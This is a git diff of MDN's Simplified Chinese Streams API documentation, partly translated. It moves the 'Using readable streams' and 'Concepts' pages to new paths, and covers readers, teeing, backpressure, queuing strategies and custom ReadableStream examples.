您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

+ +

Teeing

+ +

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

+ +

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

+ +

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

+ +

+ +

Writable streams

+ +

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

+ +

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ + + +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

+ +

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

+ +

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ + + +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html new file mode 100644 index 0000000000..5313b80dc2 --- /dev/null +++ b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html @@ -0,0 +1,307 @@ +--- +title: 使用可读文件流 +slug: Web/API/Streams_API/使用可读文件流 +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

+ +
+

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

+
+ +
+

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

+
+ +

Browser support

+ +

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

+ +

Finding some examples

+ +

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

+ +

Consuming a fetch as a stream

+ +

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

+ +

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

+ +

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+ +

This provides us with a {{domxref("ReadableStream")}} object.

+ +

Attaching a reader

+ +

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

+ +

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

+ +
// Fetch the original image
+  fetch('./tortoise.png')
+  // Retrieve its body as ReadableStream
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+              controller.close();
+              return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

+ +
return reader.read().then(({ done, value }) => {
+ +

The results can be one of three different types:

+ + + +

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

+
+ +

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

+ +
// Enqueue the next data chunk into our target stream
+controller.enqueue(value);
+return pump();
+ +

This is the standard pattern you’ll see when using stream readers:

+ +
    +
  1. You write a function that starts off by reading the stream.
  2. +
  3. If there is no more stream to read, you return out of the function.
  4. +
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. +
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. +
+ +

Creating your own custom readable stream

+ +

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

+ +

The ReadableStream constructor

+ +

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

+ +

The generic syntax skeleton looks like this:

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

+ +

The first object can contain up to five members, only the first of which is required:

+ +
    +
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. +
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. +
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. +
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. +
+ +

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+            controller.close();
+            return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

+ +

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

+ +

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

+ +

Reading from custom streams

+ +

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

+ +

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

+ +

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

+ +

Teeing a stream

+ +

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" "b/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" deleted file mode 100644 index 5313b80dc2..0000000000 --- "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: 使用可读文件流 -slug: Web/API/Streams_API/使用可读文件流 -translation_of: Web/API/Streams_API/Using_readable_streams ---- -
{{apiref("Streams")}}
- -

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

- -
-

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

-
- -
-

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

-
- -

Browser support

- -

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

- -

Finding some examples

- -

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

- -

Consuming a fetch as a stream

- -

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

- -

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

- -

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
- -

This provides us with a {{domxref("ReadableStream")}} object.

- -

Attaching a reader

- -

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-.then(body => {
-  const reader = body.getReader();
- -

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

- -

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

- -
// Fetch the original image
-  fetch('./tortoise.png')
-  // Retrieve its body as ReadableStream
-  .then(response => {
-    const reader = response.body.getReader();
- -

Reading the stream

- -

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // When no more data needs to be consumed, close the stream
-          if (done) {
-              controller.close();
-              return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

- -
return reader.read().then(({ done, value }) => {
- -

The results can be one of three different types:

- - - -

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

- -
if (done) {
-  controller.close();
-  return;
-}
- -
-

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

-
- -

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

- -
// Enqueue the next data chunk into our target stream
-controller.enqueue(value);
-return pump();
- -

This is the standard pattern you’ll see when using stream readers:

- -
    -
  1. You write a function that starts off by reading the stream.
  2. -
  3. If there is no more stream to read, you return out of the function.
  4. -
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. -
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. -
- -

Creating your own custom readable stream

- -

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

- -

The ReadableStream constructor

- -

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

- -

The generic syntax skeleton looks like this:

- -
const stream = new ReadableStream({
-  start(controller) {
-
-  },
-  pull(controller) {
-
-  },
-  cancel() {
-
-  },
-  type,
-  autoAllocateChunkSize
-}, {
-  highWaterMark,
-  size()
-});
- -

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

- -

The first object can contain up to five members, only the first of which is required:

- -
    -
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. -
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. -
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. -
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. -
- -

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // When no more data needs to be consumed, close the stream
-          if (done) {
-            controller.close();
-            return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-
- -

ReadableStream controllers

- -

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

- -

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

- -

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

- -

Reading from custom streams

- -

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

- -
.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

- -

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

- -
const stream = new ReadableStream({
-  start(controller) {
-    interval = setInterval(() => {
-      let string = randomChars();
-      // Add the string to the stream
-      controller.enqueue(string);
-      // show it on the screen
-      let listItem = document.createElement('li');
-      listItem.textContent = string;
-      list1.appendChild(listItem);
-    }, 1000);
-    button.addEventListener('click', function() {
-      clearInterval(interval);
-      readStream();
-      controller.close();
-    })
-  },
-  pull(controller) {
-    // We don't really need a pull in this example
-  },
-  cancel() {
-    // This is called if the reader cancels,
-    // so we should stop generating strings
-    clearInterval(interval);
-  }
-});
- -

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

- -
function readStream() {
-  const reader = stream.getReader();
-  let charsReceived = 0;
-
-  // read() returns a promise that resolves
-  // when a value has been received
-  reader.read().then(function processText({ done, value }) {
-    // Result objects contain two properties:
-    // done  - true if the stream has already given you all its data.
-    // value - some data. Always undefined when done is true.
-    if (done) {
-      console.log("Stream complete");
-      para.textContent = result;
-      return;
-    }
-
-    charsReceived += value.length;
-    const chunk = value;
-    let listItem = document.createElement('li');
-    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
-    list2.appendChild(listItem);
-
-    result += chunk;
-
-    // Read some more, and call this function again
-    return reader.read().then(processText);
-  });
-}
- -

Closing and cancelling streams

- -

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

- -

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

- -

Teeing a stream

- -

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

- -

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

- -

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

- -
function teeStream() {
-    const teedOff = stream.tee();
-    readStream(teedOff[0], list2);
-    readStream(teedOff[1], list3);
-  }
- -

Pipe chains

- -

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

- -

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

- -

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

- -
// Fetch the original image
-fetch('png-logo.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-// Create a gray-scaled PNG stream out of the original
-.then(rs => logReadableStream('Fetch Response Stream', rs))
-.then(body => body.pipeThrough(new PNGTransformStream()))
-.then(rs => logReadableStream('PNG Chunk Stream', rs))
- -

Summary

- -

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" "b/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" deleted file mode 100644 index 9c2d9f77ae..0000000000 --- "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Streams API 概念 -slug: Web/API/Streams_API/概念 -tags: - - 概念 - - 流 -translation_of: Web/API/Streams_API/Concepts ---- -
{{apiref("Streams")}}
- -

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

- -

Readable streams

- -

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

- -

有两种 underlying source:

- - - -

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

- -

- -

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

- -

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

- -

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

- -

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

- -

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

- -
-

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

-
- -

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

- -

Teeing

- -

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

- -

